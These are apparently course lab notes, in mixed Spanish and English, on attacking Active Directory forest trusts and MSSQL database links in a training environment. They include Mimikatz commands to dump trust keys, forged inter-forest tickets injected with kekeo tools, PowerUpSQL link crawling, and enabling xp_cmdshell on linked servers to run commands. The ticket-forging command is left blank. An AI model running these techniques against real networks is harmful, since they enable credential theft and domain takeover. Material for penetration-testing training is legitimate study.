---
# System prepended metadata

title: Cross Forest Attacks

---

# Cross Forest Attacks

## Trust Flow Across Forest


![](https://i.imgur.com/m5bYtuK.png)


Se verán los ataques a través de la confianza del bosque, específicamente la confianza externa si recuerdan que nuestro dominio actual dólar policia tenía una confianza externa con una confianza bidireccional con ele dominio `eurocorp.local`, en los casos que se tiene una confianza bidireccional en la superficie, el flujo de trust se ve exactamente como un dominio de confianza, digamos que queremos acceder a este servicio de aplicación a través del límite de confianza.



Tan pronto el DC descubre que el servicio para el que se solicitó el TGS está en un bosque de confianza, luego presenta el TGS al bosque del destino 


### Once again, we requiere the trust key for the inter-forest trust.

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

Se ejecuta con los privilegios de administrador de dominio:


![](https://i.imgur.com/v5Q9dO2.png)


Y se tiene la clave de confianza(NTLM)


### An inter-forest TGT can be forged


```
Invoke-Mimikatz -Command '""'
```


![](https://i.imgur.com/pkBDAjz.png)


Ahora el ticket se ha guardado en C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi


Y podemos solicitar un TGS presentando el TGT:


```
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local
```


![](https://i.imgur.com/D1RXs9Z.png)


Y ahora se inyecta el TGS


```
.\kirbikator.exe lsa .\CIFS.eurocorp-dc.eurocorp.local.kirbi
```


![](https://i.imgur.com/2HjKNLo.png)


```
klist
```


![](https://i.imgur.com/mpAPbFa.png)


Se puede ver que se tiene un sistema de archivos en el DC del bosque de destino.


Entonces podemos intentar acceder a cualquier recurso compartido:


![](https://i.imgur.com/AXE2Qak.png)


Asi que podemos obtener privilegios de administrador de dominio en otro bosque, esto es una combinación de persistencia y escalada


### Learning Objective 21


## Trust Abuse - MSSQL Servers


- MSSQL Servers are generally deployed in plenty in a Windows domain
- SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles
- For MSSQL and PowerShell hackery, lets use PowerUpSQ

Podemos hacer que un usuario de dominio sea un administrador de sistemas en un servidor SQL.



### Discovery(SPN Scanning)


```
Get-SQLInstanceDomain
```


![](https://i.imgur.com/efrZ2VP.png)


![](https://i.imgur.com/LXL5qgh.png)

Esto nos muestra los SPN que comienzan con MSSQL

### Check Accessibility

Para verificar las conexiones SQL: 


```
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

![](https://i.imgur.com/uJKG1fe.png)


Solo dcorp-mssql.dollarcorp.moneycorp.local es accesible.


### Gather Information

Para ver nuestros privilegios

```
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```


![](https://i.imgur.com/QPsSVGv.png)


`IsSysadmin` nos muestra si tiene privilegios altos o no.


## Trust Abuse - MSSQL Servers - Database Links

Un enlace de la base de datos permite que un servidor SQL acceda a la base de datos interna.

En el momento de crear un enlace de base de datos se pueden especificar credenciales para la creación, esto significa que podemos tener una larga cadena de enlaces e inicialmente es posible que no tengamos ningún privilegio especial pero puede haber ciertos enlaces en esa cadena donde se tiene sysadmin o algún privilegio. Una vez establecidos los enlaces de la base de datos funcionan incluso en los fideicomisos del bosque. Si la bd es la de inicio de sesión o se crean usuarios, el único riquisito es que ambos servidores SQL deben ser accesibles entre sí a través de la red, no hay función de dominio o bosque,


### Searching Database Links
### Look for links to remote servers


```
Get-SQLServerLink -Instance dcorp-mssql -Verbose
```


![](https://i.imgur.com/kWVEAqu.png)


Vemos que tenemos un enlace a otra base de datos `DCORP-SQL1`

or 


```
select * from master..sysservers
```

Podemos usar `heidisql` para hacerlo de forma manual:


![](https://i.imgur.com/LAXqDRg.png)



![](https://i.imgur.com/XnHLzEz.png)


### Enumerating Database Links - Manually
### Openquery() function can be used to run queries on a linked database


Queremos ver si hay servidores de enlaces en DCORP-SQL1


```
select * from openquery("dcorp-sql1",'select * from master..sysservers')
```

![](https://i.imgur.com/ngtQHts.png)


Y se pueden conseguir diferentes enlaces de servidores


### Enumerating Database Links


```
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
```


![](https://i.imgur.com/woFHya5.png)


![](https://i.imgur.com/sx0jVPF.png)



or


```
select * from openquery("dcorp-sql1",'select * from openquery("dcorp-mgmt",'select * from master..sysservers')')
```


### Executing Commands

- On the target server, either xp_cmdshell should be already enabled; or
- If rpcout is enabled(disabled by default), xp_cmdshell can be enabled using:


```
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "eu-sql"
```

```
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'"
```

or


![](https://i.imgur.com/xCkiqWo.png)


![](https://i.imgur.com/UFu76Pi.png)


### Learning Objective 22